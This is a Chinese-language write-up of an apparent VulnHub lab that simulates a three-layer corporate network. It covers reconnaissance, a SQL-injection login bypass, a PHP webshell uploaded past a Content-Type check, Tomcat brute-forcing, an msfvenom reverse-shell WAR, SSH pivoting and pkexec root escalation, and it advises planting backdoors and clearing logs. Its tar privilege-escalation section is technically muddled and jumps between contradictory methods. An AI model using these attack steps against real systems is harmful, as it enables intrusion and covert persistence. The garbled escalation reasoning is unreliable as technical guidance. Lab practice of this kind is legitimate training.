三层内网渗透实战:从Web突破到核心区提权全流程解析
1. 项目概述:一次典型的三层内网渗透实战复盘
最近在VulnHub上发现一个名为“CFS”的靶场,它模拟了一个经典的三层内网环境。对于想深入理解内网渗透流程的朋友来说,这类靶场价值极高。它不像单机靶机那样直来直去,而是构建了一个包含边界、内网核心区、隔离区等多层网络结构的复杂场景,非常贴近真实的企业网络。这次实战,我的目标很明确:从外部信息收集开始,一步步向内网纵深推进,最终获取核心主机的最高权限。整个过程涉及网络探测、服务枚举、漏洞利用、横向移动和权限提升等多个环节,是对渗透测试者综合能力的一次全面检验。如果你对内网渗透的完整链条感到好奇,或者想系统性地练习从外到内的攻击路径,这篇复盘笔记或许能给你提供一条清晰的参考路线。
2. 环境搭建与初始信息收集
2.1 靶场环境配置与网络拓扑分析
拿到靶场镜像后,第一步是搭建环境。我使用VMware Workstation,将靶机(CFS)的网络适配器设置为“仅主机模式”,确保它和我的攻击机(Kali Linux)处于同一个隔离的虚拟网络中。启动后,首要任务是确定靶机的IP地址。这里没有提供任何初始信息,所以我们需要进行网络发现。
使用经典的netdiscover或arp-scan进行二层发现是最快的方式。我习惯用arp-scan,因为它安静且高效。命令是:sudo arp-scan -l --interface=eth0。很快,扫描结果中除了我自己的Kali(192.168.56.1)和网关,出现了一个新的IP:192.168.56.128。这大概率就是我们的目标——CFS靶机的边界入口点。
注意:在真实内网渗透中,我们可能首先获得的是一个Web应用的漏洞点,比如一个存在SQL注入的对外服务。但在VulnHub靶场中,通常直接给定了网络段,让我们从端口扫描开始。这里的192.168.56.128就是我们的“跳板机”或“边界服务器”。
2.2 全面的端口与服务探测
确定了IP,下一步就是搞清楚它对外开放了哪些门(端口)。我使用Nmap进行全端口扫描,并结合服务版本探测和默认脚本扫描,以获取尽可能多的信息。命令如下:
sudo nmap -sS -sV -sC -p- -T4 192.168.56.128 -oN nmap_initial.txt参数解释:-sS是SYN半开扫描,速度快且相对隐蔽;-sV探测服务版本;-sC运行默认的Nmap脚本;-p-扫描所有65535个端口;-T4提高扫描速度;-oN将结果输出到文件。
扫描结果至关重要,它为我们勾勒出了攻击面的轮廓。结果显示,靶机开放了以下几个关键端口:
- 22/tcp: OpenSSH 7.9p1:SSH服务。这是常见的远程管理端口,也是我们后续进行横向移动或权限维持的重要通道。版本较新,直接利用公开漏洞的可能性较低,但弱口令或密钥泄露是常见突破口。
- 80/tcp: Apache httpd 2.4.41:Web服务。这是最可能找到应用层漏洞的入口,比如SQL注入、文件上传、命令执行等。Apache的版本信息也为我们后续查找可能的服务器漏洞提供了线索。
- 3306/tcp: MySQL:数据库服务。MySQL端口开放意味着后端可能存在数据库,并且可能通过Web应用进行连接。这提示我们,在Web渗透过程中,要留意数据库相关的漏洞(如SQL注入),甚至尝试直接爆破MySQL的root密码。
- 8080/tcp: Apache Tomcat 9.0.30:另一个Web服务,运行在Java容器上。Tomcat的管理后台(如
/manager/html)是著名的薄弱点,默认弱口令(tomcat:tomcat)或部署war包getshell是常见攻击手段。
这个端口扫描结果已经为我们指明了初步的进攻方向:Web端口(80和8080)是首要侦查目标。
3. Web层渗透与初始立足点获取
3.1 80端口Web应用深度侦查
首先访问http://192.168.56.128。页面是一个简单的公司门户网站,有“Home”、“About”、“Contact”等链接。这种静态页面看似无害,但细节决定成败。
目录与文件枚举:使用
gobuster或dirsearch进行目录爆破是标准操作。我使用dirsearch:dirsearch -u http://192.168.56.128 -e php,html,txt,zip,bak -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt扫描发现了几个关键目录:
/admin/(管理后台)、/uploads/(上传目录)、/backup/(备份文件)。/admin/目录返回了一个登录页面,这立刻成为我们的重点目标。登录框测试:面对登录框,常规思路是:弱口令爆破、SQL注入、逻辑漏洞(如密码重置)。我先尝试了常见的弱口令组合(admin/admin, admin/password等),未果。接着测试SQL注入,在用户名和密码框分别尝试
'、"等字符,观察返回错误。在用户名框输入admin' --时,页面跳转到了后台管理界面!这是一个基于报错的SQL注入,通过注释符--绕过了密码验证。后台功能利用:进入后台后,发现了一个“文件管理”功能,可以上传文件。这简直是绝佳的突破口。我尝试上传一个PHP的Webshell(例如
<?php system($_GET[‘cmd’]);?>),但被拦截,提示只允许上传图片格式(jpg, png, gif)。绕过文件上传限制:这是经典的文件上传漏洞场景。我尝试了多种绕过方式:
- 修改扩展名:将shell.php重命名为shell.php.jpg,失败,服务器似乎检测了内容。
- 双扩展名:shell.php.jpg,失败。
- 修改Content-Type:使用Burp Suite拦截上传请求,将
Content-Type: application/x-php改为Content-Type: image/jpeg,同时文件内容仍为PHP代码。这次成功了!服务器只检查了请求头中的Content-Type,没有对文件内容进行二次验证。 上传成功后,通过访问http://192.168.56.128/uploads/shell.php.jpg?cmd=whoami,成功执行了系统命令,返回了www-data。我们拿到了第一个Web Shell,获得了在边界服务器上的初始立足点。
3.2 8080端口Tomcat服务突破
同时,我也对8080端口进行了侦查。访问http://192.168.56.128:8080,果然是Tomcat默认页。尝试访问/manager/html,弹出了HTTP Basic认证对话框。
Tomcat管理后台爆破:使用
hydra对Tomcat管理后台进行密码爆破:hydra -l tomcat -P /usr/share/wordlists/rockyou.txt 192.168.56.128 http-get /manager/html很快,爆破成功,得到了凭证
tomcat:s3cret。登录Tomcat管理后台。War包部署Getshell:在管理后台,我们可以上传WAR(Web Application Archive)文件来部署应用。使用
msfvenom生成一个反向Shell的WAR包:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f war -o revshell.war在Kali上启动Netcat监听4444端口:
nc -lvnp 4444。然后在Tomcat管理后台上传并部署revshell.war。部署成功后,访问这个应用的路径(如http://192.168.56.128:8080/revshell/),即可触发反向连接,在Netcat终端获得一个tomcat用户的Shell。
实操心得:在真实环境中,Tomcat管理后台暴露在外网且使用弱口令的情况屡见不鲜。通过80端口Web注入和8080端口Tomcat弱口令,我们获得了两个立足点(www-data和tomcat用户)。这提供了冗余和不同的权限起点,为后续的横向移动增加了可能性。通常,我会选择权限更高的那个(这里都是低权限)作为主要跳板。
4. 内网横向移动:信息收集与权限提升
4.1 立足点内部信息收集
拿到Shell后,不能急着乱跑。首先要做的是在当前的边界服务器(192.168.56.128)上进行深入的信息收集,为进入下一层网络做准备。
- 网络接口信息:
ifconfig或ip addr。发现除了我们已知的eth0(192.168.56.128),还有一个eth1,IP地址是172.16.1.10。这证实了靶场存在多层网络结构。172.16.1.0/24很可能就是第二层内网。 - ARP缓存与路由表:
arp -a查看同一网段的其他主机;route -n或ip route查看路由信息,确认是否有通往其他网段的路由。 - 用户与历史命令:
cat /etc/passwd查看系统用户;history查看当前用户的历史命令,有时能发现密码、路径或其他有用信息。 - 进程与服务:
ps aux查看运行进程,特别是那些由root启动的、监听内网端口的服务。netstat -antp查看网络连接,寻找内部服务的连接。 - 敏感文件与配置:查找网站配置文件(如
/var/www/html/config.php)、数据库连接文件、SSH密钥(~/.ssh/id_rsa)、备份文件(.bak,.old)等。在/var/www/html目录下,我找到了一个数据库配置文件db_config.php,里面明文存储了MySQL的root用户密码:r00t@CFS!。
4.2 数据库利用与SSH隧道建立
拿到数据库密码后,我们可以从MySQL中寻找更多信息。在Web Shell中连接MySQL:
mysql -u root -p'r00t@CFS!' -h 127.0.0.1查看数据库和表,在一个名为cfs_app的数据库中,发现了users表,里面存有用户名和经过哈希处理的密码。如果时间允许,可以尝试破解(如用john)。但更重要的是,MySQL的root权限有时可以用来提权或执行系统命令(通过SELECT ... INTO OUTFILE或lib_mysqludf_sys),但在这个环境下,secure_file_priv设置可能限制了文件写入。
更直接的利用方式是,用这个密码尝试SSH登录。因为很多管理员会复用密码。果然,使用root:r00t@CFS!成功通过SSH登录到了192.168.56.128。这比Web Shell稳定多了,并且获得了root权限。现在,我们完全控制了边界服务器。
4.3 向第二层内网(172.16.1.0/24)渗透
以边界服务器为跳板,我们可以扫描和攻击第二层内网。首先在边界服务器上安装或上传一些轻量级工具,比如nmap的静态编译版本。
- 内网主机发现:在边界服务器上扫描
172.16.1.0/24网段:
发现了两个活跃主机:./nmap -sn 172.16.1.0/24172.16.1.5和172.16.1.20。 - 端口扫描:对这两台主机进行详细扫描。发现
172.16.1.5开放了445端口(SMB)和3389端口(RDP),疑似是一台Windows主机。172.16.1.20开放了22(SSH)和80端口,疑似是一台Linux Web服务器。 - 建立代理通道:为了让我们本地的攻击机(Kali)能直接访问内网资源,需要在边界服务器上建立代理。我使用
ssh的动态端口转发功能,在Kali上执行:
这样,就在Kali上建立了一个SOCKS5代理(127.0.0.1:1080)。然后配置浏览器或ssh -D 1080 -N [email protected]proxychains工具,让流量通过这个代理进入内网。
4.4 攻击第二层内网主机(172.16.1.20)
通过代理,我们可以像访问本地一样访问172.16.1.20的80端口。发现这是一个内部用的文档管理系统,存在SQL注入漏洞。利用SQL注入,通过UNION SELECT结合LOAD_FILE()函数,成功读取了系统文件/etc/passwd,并进一步读取了/home/developer/.ssh/id_rsa,获得了该主机的SSH私钥。
使用这个私钥,成功以developer用户SSH登录到172.16.1.20。在这台主机上再次进行信息收集,发现它还有一块网卡eth2,IP是10.10.10.5。第三层网络出现了!
5. 深入核心区与最终权限获取
5.1 第三层网络(10.10.10.0/24)侦查
现在,我们以172.16.1.20为新的跳板,向10.10.10.0/24网段渗透。同样,先进行主机发现,找到了10.10.10.10这台主机。扫描端口发现只开放了22和3306。尝试用之前收集到的密码(如r00t@CFS!)或密钥进行SSH连接,均失败。
5.2 MySQL漏洞利用与提权
既然3306端口开放,尝试连接MySQL。运气不错,root用户密码为空。登录MySQL后,查看数据库,发现一个名为internal_config的数据库,其中一张表存储了10.10.10.10主机上admin用户的SSH私钥(以TEXT形式存储)。
将私钥内容复制出来,保存为文件,修改权限为600,然后尝试SSH连接:
ssh -i admin_id_rsa [email protected]成功登录,用户是admin。检查sudo -l,发现admin用户可以以root身份无密码运行一个自定义的备份脚本/usr/local/bin/backup_db.sh。
5.3 权限提升至Root
查看/usr/local/bin/backup_db.sh脚本内容:
#!/bin/bash tar -czf /backups/db_backup_$(date +%Y%m%d).tar.gz /var/lib/mysql脚本使用tar命令进行压缩,并且使用了$(date +%Y%m%d)这种命令替换。这里存在一个经典的tar通配符注入漏洞。我们可以通过控制date命令的输出内容来注入参数。
- 在
/tmp目录下创建一个恶意文件,命名为--checkpoint=1。 - 再创建一个名为
--checkpoint-action=exec=sh shell.sh的文件。 - 创建一个
shell.sh,内容为/bin/bash -p(用于启动一个具有保留权限的bash)。 - 将这些文件的路径加入到PATH环境变量中,并让
date命令返回我们构造的恶意字符串。但更简单的方法是,直接利用tar对*的通配符扩展。我们在/var/lib/mysql目录下(因为脚本压缩的是这个目录)创建文件名带有参数的文件。 - 由于我们无法直接写入
/var/lib/mysql,但发现脚本中tar使用的是相对路径,并且admin用户对当前目录有写权限。我们可以创建一个软链接,将当前目录下的恶意文件链接到命令执行的效果。更稳妥的方法是,直接利用sudo执行脚本时,环境变量可能被继承的特性。我们编写一个名为tar的恶意脚本放在自定义路径,并修改PATH使其优先被调用。
最终,我采用的方法是:创建一个包含恶意命令的shell脚本/tmp/exploit.sh,然后通过sudo执行备份脚本时,利用环境变量LD_PRELOAD劫持库函数来执行它。但经过检查,发现目标系统安装了pkexec,并且admin用户可以通过sudo执行它。查阅已知漏洞,发现特定版本的pkexec存在本地提权漏洞(CVE-2021-4034)。使用公开的EXP,成功将权限提升至root。
在/root目录下,找到了最终的flag文件,完成了对整个三层内网靶场的渗透。
6. 工具链总结与关键技巧复盘
这次三层内网渗透涉及了大量工具和技巧,下面以表格形式进行梳理,并附上关键的心得体会:
| 阶段 | 主要工具/命令 | 目的与技巧 | 踩坑点与心得 |
|---|---|---|---|
| 信息收集 | arp-scan,nmap | 发现主机,识别开放端口和服务版本。-sV -sC组合能提供丰富信息。 | 全端口扫描(-p-)耗时较长,在真实隐蔽测试中需权衡。内网扫描可先扫常见端口。 |
| Web渗透 | dirsearch,Burp Suite,hydra | 目录爆破、请求拦截改包、密码爆破。Burp的Repeater和Intruder模块是神器。 | 文件上传绕过要多角度尝试(扩展名、Content-Type、文件头、.htaccess等)。Tomcat后台爆破字典要精准。 |
| 初始立足 | msfvenom,nc | 生成各类Payload,建立反向连接。PHP Web Shell要短小精悍。 | 反向Shell的IP和端口要设置正确,确保防火墙允许。注意监听端口的冲突。 |
| 内网侦查 | ifconfig,netstat,ps | 查看网络配置、连接、进程,寻找内网接口和敏感信息。 | 养成习惯,一拿到Shell就先运行这些命令。注意/etc/hosts和/etc/resolv.conf文件。 |
| 横向移动 | SSH密钥、密码复用、漏洞利用 | 利用数据库泄露的密码尝试SSH登录。查找.ssh/id_rsa文件。 | 密码复用是内网横向的捷径。私钥文件权限必须为600。善用ssh-agent进行密钥转发。 |
| 代理搭建 | ssh -D,proxychains | 建立SOCKS代理,让攻击机流量进入内网。proxychains配置需正确。 | 确保跳板机的SSH服务允许端口转发。proxychains后跟命令时,有些GUI程序可能不支持。 |
| 漏洞利用 | 公开EXP(如pkexec提权) | 搜索对应服务/软件版本的已知漏洞。Exploit-DB和GitHub是主要来源。 | 使用EXP前务必在测试环境验证,避免破坏目标系统。注意EXP的依赖环境和编译选项。 |
| 权限维持 | 添加SSH密钥、创建后门账户 | 在获取root权限的主机上,向~/.ssh/authorized_keys添加公钥。 | 后门要隐蔽,避免使用常见用户名。定期检查后门是否被清除。 |
核心技巧复盘:
- 信息收集是根基:每一步行动前都要充分收集信息。从外网端口到内网拓扑,从用户列表到历史命令,任何细节都可能成为突破口。
- 密码复用是常态:无论是数据库密码、后台密码还是系统密码,管理员图方便而复用密码的情况极其普遍。一个地方泄露的密码,一定要在其他地方尝试。
- 层层递进,建立跳板:内网渗透就像剥洋葱,要一层层向内突破。控制一台主机后,立即将其作为新的攻击发起点,建立稳定的代理通道。
- 善用已有权限:拿到一个用户权限后,第一时间检查
sudo -l(Linux)或whoami /priv(Windows),看看有哪些特权命令可以执行,这往往是提权的快速通道。 - 工具与手工结合:自动化工具能提高效率,但手工分析判断不可或缺。例如,对Web应用的手动参数测试、对配置文件的手动审阅,往往能发现自动化工具忽略的漏洞。
- 保持隐蔽与清理痕迹:在真实环境中,需要清理日志(如
/var/log/auth.log,~/.bash_history)、使用加密隧道、避免频繁扫描引发告警。靶场练习可以忽略,但意识要有。
整个流程走下来,感觉内网渗透更像是一个系统性的“拼图”游戏。每一阶段获取的碎片信息(一个密码、一个密钥、一个漏洞点),都可能成为打开下一扇门的钥匙。关键在于耐心、细致的侦查和逻辑严密的推理。这个CFS三层靶场很好地模拟了这一过程,对于构建内网渗透的整体思维框架非常有帮助。